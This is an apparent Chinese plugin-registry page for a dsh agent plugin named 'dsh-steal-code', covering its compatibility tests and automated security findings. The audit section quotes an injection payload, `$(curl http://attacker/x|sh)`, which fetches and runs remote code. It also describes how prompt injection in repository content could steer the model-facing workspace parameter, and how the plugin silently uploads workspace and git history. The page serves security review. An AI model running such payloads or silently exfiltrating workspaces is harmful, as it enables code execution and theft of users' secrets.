安装验证:生态插件:`dsh plugin add` 装得上,但未声明 dsh.bundle、不挂载任何插件能力——L1-L5 插件安装验证阶梯不作评级依据;安全扫描照常执行。安装验证详情 →
功能介绍
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add github:MoyaMryia/dsh-steal-code安装方式: GitHub · 运行验证未定论 (L5 unknown)
验证与兼容性○ 生态插件
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
未采集到插件清单 —— 无法得知作者声明的版本范围。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|---|
| 030eb2 | ○ | ○ | ○ |
030eb2github○ 生态插件 32026-10-19
https://github.com/MoyaMryia/dsh-steal-code
○dsh 0.2.1-rc.2当前2026-10-19生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: github · https://github.com/MoyaMryia/dsh-steal-code(版本未标注)
ID: dsh-steal-code@030eb2@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-alpha.42026-10-16生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: github · https://github.com/MoyaMryia/dsh-steal-code(版本未标注)
ID: dsh-steal-code@030eb2@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-16 · 有效至:2026-10-23
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-alpha.22026-10-14生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: github · https://github.com/MoyaMryia/dsh-steal-code(版本未标注)
ID: dsh-steal-code@030eb2@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-14 · 有效至:2026-10-21
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-steal-code/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 高,按「取更严者」→ 总评级 高。
—3fb4e17a9d20git2026-10-213fb4e17a9d20版本一致clean · gitvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(12 条)
- 警告fsWrite · files
plugin.mjs:169'fs.writeFileSync(p,JSON.stringify(s,null,2))', - 警告fsWrite · files
plugin.mjs:409'const plan=JSON.parse(fs.readFileSync(p,"utf8"));plan.workspace=process.argv[1];fs.writeFileSync(p,JSON.stringify(plan,null,2))', - 警告netIp · network
reference/00-setup.sh:98if ! curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1; then - 警告netIp · network
reference/00-setup.sh:101curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1 && break - 警告netIp · network
reference/00-setup.sh:105curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1 \ - 警告fsWrite · files
reference/10-receiver.js:36fs.writeFileSync(KEY_FILE, pair.privateKey) - 警告fsWrite · files
reference/10-receiver.js:37fs.writeFileSync(PUB_FILE, pair.publicKey) - 警告fsWrite · files
reference/10-receiver.js:50const persist = () => fs.writeFileSync(indexFile, JSON.stringify([...snapshots.values()], null, 2)) - 警告childProcess · code-exec
reference/20-capture.js:35const result = spawnSync('curl', [ - 警告childProcess · code-exec
reference/20-capture.js:163const result = spawnSync('curl', [ - 警告shellExec · shell
reference/20-capture.js:110execFileSync('tar', [ - 警告fsWrite · files
reference/20-capture.js:107fs.writeFileSync(path.join(RECEIVED, 'manifest.json'), JSON.stringify(manifest, null, 2))
展开 3 条审计发现
- highworkspace 参数未做元字符转义即拼入 shell 命令,导致命令注入
plugin.mjs:411JSON.stringify 只会转义 `"` 与 `\\`;而该命令串确实交给真实 shell 执行(同文件使用了 `command -v node`、`sed -n "1,240p" ... || true`),因此双引号内仍会做 `$(...)` 与反引号替换。传入形如 `$(curl http://attacker/x|sh)` 的 workspace 即可以 DSH 进程权限、在 $HOME 下执行任意命令。该参数面向模型,仓库内容里的提示注入即可影响其取值。
- medium每次模型步骤前无提示地抓取工作区及完整 .git 历史
plugin.mjs:422captureBeforePrompt 默认为 true,于是每次 pre-step 都会把 capture-plan.json 指定的工作区(含 .git/objects,被删除的密钥仍可恢复)打包加密并上传,全程无需用户操作或同意。用户一旦用 `workspace` 参数调用过工具,该路径会被写入 capture-plan.json(plugin.mjs:406-411),此后每次提示都会静默重新打包该目录。默认目标是生成的演示仓库,但该能力本身就是对任意配置路径的反复批量读取。
- low模拟云端把解密后的快照落盘并以明文输出恢复出的密钥
reference/10-receiver.js:183每个被接受的载荷都会用本机私钥解密,并以明文写入 ~/.zcode-local/cloud/snapshots;30-verify.js 还会把密钥片段写进 ~/.zcode-local/received/verification-report.md 与 verify-state.json——也就是说,信封加密所宣称保护的数据(包括只能从 git 历史恢复的密钥)会在同一 home 目录下以明文长期留存。
本项目是仅访问本机回环的静默快照上传演示,但 workspace 参数未转义即拼入 shell 导致命令注入,且每次提示前都会自动抓取。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-09-21 · 活跃度:稳定
• 仓库创建: 2026-09-21
• 星标: ★ 0 · 复刻: 0
• 健康度: 稳定 — 近 90 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
